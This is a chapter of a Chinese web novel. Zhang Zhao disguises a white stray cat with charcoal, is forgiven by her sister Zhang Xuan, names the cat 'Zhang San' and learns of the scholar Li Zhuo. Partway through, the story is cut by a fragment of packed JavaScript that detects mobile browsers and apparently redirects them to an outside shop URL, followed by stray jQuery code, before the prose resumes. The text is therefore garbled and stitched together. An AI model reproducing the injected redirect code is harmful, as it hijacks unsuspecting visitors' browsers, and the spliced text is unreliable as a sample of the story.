张昭慢吞吞挪到门边,探头望去,只见张暄面无表情地站在床边。
床上,喜红被子掀开了一大半,而那只猫,赫然窝在整洁的床单上,此时被人扰乱了清梦,它警觉地拱起身
子,瞪圆眼睛,盯着张暄。
那一身炭灰擦去了不少,只不过……
全擦张暄床上了。
张昭咬了咬唇,想死的心都有了。
恰在此刻,张暄冷笑道:“你要不要跟我解释一下?”
顶着刀人的目光,张昭硬着头皮一步步挪进屋子,一边挪,一边还不忘想对策。
“哎呀,哪来的猫啊,谁把猫放这儿了?!”张昭装傻喊道,心里也是十分唾弃自己的演技。
她望向屋外,瞧连翘一脸欲言又止的神色,仿佛在质问自己——你说呢?
她再将目光放到张暄那张天生丽质的脸上,虽然对方依旧没什么表情,但她似乎也能读懂其中含义——编,你接着编。
“你们这样看着我,不会以为是我吧?”张昭做出一脸不可置信的表情。
“……”
奈何没人理会。
“好吧,是我。”
见情况不妙,张昭“扑通”一声跪到地上,果断认错。
霎时,几人都被她这一动作震惊到,就连床上那只野猫都被吓得哆嗦一抖。
她用力挤出两滴眼泪,咬着唇,可怜地望向张暄,“我听说姐姐喜欢猫,特意在府中捉了一只,想着能送给姐姐,讨你欢心。”
门边,香栗目瞪口呆地看着自家小姐。
张暄瞧了瞧那只脏脏的小猫,小猫也在看着她。
黑白相间的配色,再看床单上蹭上的乌黑,这只猫还会掉色……
好丑。
小猫“喵”了一声……
好难听。
她问:“什么怪猫,居然还会掉色?”
“我好不容易抓到一只白猫,又听说姐姐喜欢的是黑猫,可我实在找不出了,只能……”
张暄心道不好,追问下去,“只能怎么?”
“我只能将它抹上炭灰,装作是一只黑猫了。”张昭无辜地眨眨眼。
“炭、灰。”张暄从嘴里蹦出两个字,手掌捏紧成拳,仿佛下一刻就将落到某人身上。
张昭的心顿时又悬了起来,瞧对方那气恼的样子,她心中唯有二字,完了。
僵持久久之际,张暄再度开口。
“带着你的猫,滚出去。”
好在对方大人有大量,似乎没准备追究。
张昭见好就收,赶忙上前去抓猫,小猫似乎听懂了似的,此刻也不躲,乖乖缩在张昭怀里,蹭了她一身炭灰。
“二姐姐,我走了。”
张昭走出屋子,带着香栗一阵小跑,又听见张暄的声音从屋内传出。
“连翘,找人把房间打扫一番。”
回去的路上,张昭抱着猫,心里不停感激张暄大人不记小人过,不过自己以后还是得少惹对方,这次她侥幸脱身,再得罪一次,可就不一定了。
可按她这大大咧咧、没心没肺的性子,说不定哪一天就惹恼了张暄,总这样下去也不是个办法。
张昭心想,她还是得抓紧为自己想个容身之法,争取活到一百岁!
“小姐,我来抱吧,你的衣服……”
张昭闻言,低头一瞧,她算是彻底明白张暄那句掉色是什么意思了。
只见小猫靠在她的怀中,白毛露出,一身炭灰已不剩多少,只因一半沾到张暄床上,另一半,在张昭身上。
小猫时不时还蹭蹭张昭的下巴,搞得张昭脸上都是炭灰。
好了,现在是两只脏脏的小猫了。
“算了,我都这样了,就别再弄脏你了。”
张昭自暴自弃地说着,她似乎还嫌不够脏,抱着小猫还抖了抖。
“小姐,这猫……”香栗欲言又止,她是想问小姐是要将这野猫给抱到哪里。
张昭对上那双透亮的猫眼,她怀疑这只猫是只妖精,有着让她心软的妖术。
“罢了,养着吧。”
香栗也有些高兴,她忍不住又问道:“那小姐,你可想好要给它取什么名字了吗?”
张昭架起猫咪抱到空中,仔细一瞧,不过是只普通的白猫,也没什么特点能拿来取名的。
“我的猫,自然得跟我姓,至于名嘛,我在家中排行老三,就叫他……”
香栗殷殷期待着。
“就叫他张三吧。”
香栗:“……”
“走吧张三,带你回去了。”
天色渐晚,张昭沐浴完后恰是晚饭时间,她安排好下人给张三准备吃食,便带着香栗往正厅走去。
厅内,她的父亲张邰坐在桌边,眉头紧皱,手里拿了几页文章正看着,母亲聂映雪与身边的丫鬟小声说着什么,时不时笑笑,另一边,她的大哥张晖似是饿的不行,正一手拿一支筷子,叮咚叮咚地敲着碗盘。
聂映雪一听儿子制造出来的噪声,心中气到不行,走到张晖身旁,揪着他的耳朵就是一顿呵斥。
张昭感觉心里已经软成一塌糊涂了,经那场大梦过后,再见这幅温馨场面,恍若隔世。
“站这里作甚,进去呗。”张暄从身后走出,淡淡地看了张昭一眼,便迈步进到正厅。
张昭跟在她身后,一同走进。
聂映雪见两人“亲密”地走到一起,欣慰一笑,她原本还怕两姐妹处不到一块儿,现在看来,纯粹是自己多心。
张邰同样欣慰,他朝两人点头一笑,“坐吧。”
饭间,张晖想起了什么,突然发问:“三妹妹,听说你得了一只猫?”
张昭筷子一顿,心道,张暄还没告她状呢,她这个傻大哥倒是先提出来了。
此话一出,除了张邰依旧埋头看着那篇文章以外,席上几人皆是抬眼望向张昭。
张昭尴尬一笑,“是啊。”
“听说还是只会掉色的猫?”
“……”
“我倒是没见过这种新奇玩意儿,哪天借我瞧瞧呗?”张晖继续说。
怎么借你瞧?再给张三抹上一身炭灰给你送去?张昭心虚地不敢回答。
出人意料的是,张暄开口替她回答了。
“大哥说笑了,这世上哪有会掉色的猫,不过是下人们闹着玩儿罢了。”
张晖挠挠头,继续追问道:“那我怎么听说那只猫能从黑的变成白的?”
“是因为那只猫本就是白的,只不过太脏了,所以看着是只黑猫,洗净后便变回原样了。”
张昭悄悄朝张暄望去,她没想到张暄不仅没告发自己,反而还出言为自己隐瞒。
张暄倒是没看她,依旧自顾自地吃着菜。
“原来如此,倒也有趣。”张晖笑了笑,又对张昭说道:“三妹妹,那只猫你养下了?”
张昭点头“嗯”了一声。
“可取好名字了?若是没取好,大哥帮你。”张晖笑眯眯道。
“臭小子,那是你妹妹的猫,你少觊觎。”聂映雪为张晖送去一记眼刀,吓得后者身子一缩。
张昭得意地说:“多谢大哥好意,不过小妹已经想好叫什么了。”
张晖问:“叫什么?”
“张三。”
“……”
所有人都沉默了。
张邰连文章也不看了,抬起头来,看向张昭,一字一句问道:“你再说一遍叫什么?”
“叫张三。”
张邰一掌将那几页纸拍在桌上,愤然起身,指着张昭骂道:“读了那么多年书,你就取了这么个名字?!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183090|196980||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>简直有辱斯文,尤其是在有别人家孩子衬托之下。
“张三这名字怎么了嘛?”张昭弱弱发问,要她取个高雅的名字,她肚子里也没那么墨水啊。
“你!”张邰又欲骂人,张晖及时站出来阻止,不过却是好心办坏事。
“爹,你就别骂三妹妹了,京城的人都叫三妹妹‘相府千金,草包张昭’,你又不是不知道,你指望她能想出个什么好名字?”张晖真心实意道。
“……”
张昭心里恨不得让张三挠花张晖的脸,他不提还好,这一提,不就让爹有骂的理由了吗。
“你们俩给我站起来!”张邰怒喝。
张昭与张晖面面相觑,站起身来。
“枉我辛苦栽培十余年,到头来,还不及暄儿,你们,你们简直气死我!”张邰捂着心口坐下,只觉头晕目眩。
聂映雪见状急忙安慰。
张暄欲上前查看,却见张昭、张晖两人一动不动,心知这定是常态了,那便不用担心了.
张邰抓起桌上的文章,举在空中朝着两人晃了晃,“同样是人,怎么别人家的孩子就能写出这么好的文章,你们俩,能作得出几首诗?”
“寒门出身,人家尚且能高中状元、出人头地,你们俩能吗?!”
“爹。”张昭叫了一声。
张邰抬眼望去。
“女人不能参加科举。”
“那你哥也没中啊。”张邰忍着怒气。
张昭眼神飘忽不定,“那就不关我事了。”
张晖:“……”
“你,你们……”张邰揉了揉眉,竭力抑制怒气。
聂映雪适时出言规劝,“好了,吃饭别凶孩子,好好说不行吗?”
“你瞧瞧他们兄妹俩,哪有一个让我省心的,要是有暄儿一半懂事,我至于气成这样吗?”
张暄没说话,心里不知在想些什么。
“再说读书,你看看,这是前不久新科状元所作的文章,怎么别人家的孩子就是奇才,怎么别人家的孩子就这么优秀呢?”张邰恨不得捶胸顿足,聂映雪在一旁为他顺气。
“要是我有这么个儿子,我也就死而无怨了”。
“别人家孩子再怎么优秀那是别人家的事,我只知道,我有这三个儿女,我便知足了。”聂映雪笑道,“人家常说,知足常乐,你就别气了。”
经夫人这样一劝,张邰消气了不少,蹬了那兄妹俩两眼,道:“你娘都这样说了,我还能说什么,坐下吃饭!”
“谢谢爹。”
恰在此时,聂映雪拿过张邰放在桌上的几页文章看起来,她出身名门,十几年前也是一代才女。
这通篇一瞧,果真是不同凡响,文章如涓涓细流,清雅脱俗,却又不失精准凝练,可谓是井井有序。
这样的文章,一字千金也不为过。
“远方之朋,有所见闻,证吾之是,或解吾之过,如切如磋,如琢如磨,因而彰益思道,其乐穷也。”
聂映雪读过她最喜欢的一句之后,便翻到最后一页,只见文章末尾处落款“李琢”二字,她情不自禁念出了声。
“有匪君子,如切如磋,如琢如磨,李琢,好名字。”
“谁?!”张昭惊呼出声。
“你吓你娘一跳,好好说话,别一惊一乍的。”张邰刚降下去的气焰又有隐隐复原之势。
张昭恍若未闻,小跑到她母亲身后,目光死死定在那页纸的落款名上——李琢。
新科状元,出生寒门,没错了。
书中写到,十年间,他在朝堂上步步高升,势不可挡,最后稳居高位,权重一时。
两人的结局,可谓是有云泥之别。
张昭皱起眉头,原来书里全是真的。
原来对于李琢的成功,这么早便埋下了伏笔。